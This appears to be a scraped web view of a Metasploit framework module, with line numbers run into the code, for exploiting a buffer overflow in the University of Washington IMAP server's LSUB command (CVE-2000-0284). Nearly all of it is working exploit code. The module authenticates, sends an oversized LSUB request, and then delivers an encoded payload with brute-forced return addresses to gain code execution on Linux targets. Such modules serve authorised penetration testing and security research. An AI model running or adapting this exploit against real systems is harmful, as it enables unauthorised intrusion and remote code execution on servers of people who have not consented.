Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/imap/imap_uw_lsub.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::Imap1011def initialize(info = {})12super(update_info(info,13'Name' => 'UoW IMAP Server LSUB Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in the 'LSUB'16command of the University of Washington IMAP service.17This vulnerability can only be exploited with a valid username18and password.19},20'Author' => [ 'aushack', 'jduck' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2000-0284' ],25[ 'OSVDB', '12037' ],26[ 'BID', '1110' ],27[ 'EDB', '284' ]28],29'Privileged' => false,30'Payload' =>31{32'Space' => 964,33'BadChars' => "\x00\x0a\x0d\x2f",34'StackAdjustment' => -3500,35},36'Platform' => 'linux',37'Targets' =>38[39# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],40[ 'Linux Bruteforce',41{42'Platform' => 'linux',43'Offset' => 1064,44'Bruteforce' =>45{46'Start' => { 'Ret' => 0xbffffdfc },47'Stop' => { 'Ret' => 0xbfa00000 },48'Step' => 20049}50},51]52],53'DisclosureDate' => '2000-04-16',54'DefaultTarget' => 0))55end5657def check58connect59disconnect6061if (banner =~ /IMAP4rev1 v12\.264/)62return Exploit::CheckCode::Appears63end64return Exploit::CheckCode::Safe6566end6768def brute_exploit(addresses)69print_status("Trying 0x%.8x ..." % addresses['Ret'])7071if (not connect_login)72fail_with(Failure::Unknown, "Unable to log in!")73end7475req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']76sock.put(req)77buf = sock.get_once7879sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"80sock.put(sploit)8182handler83disconnect84end85end868788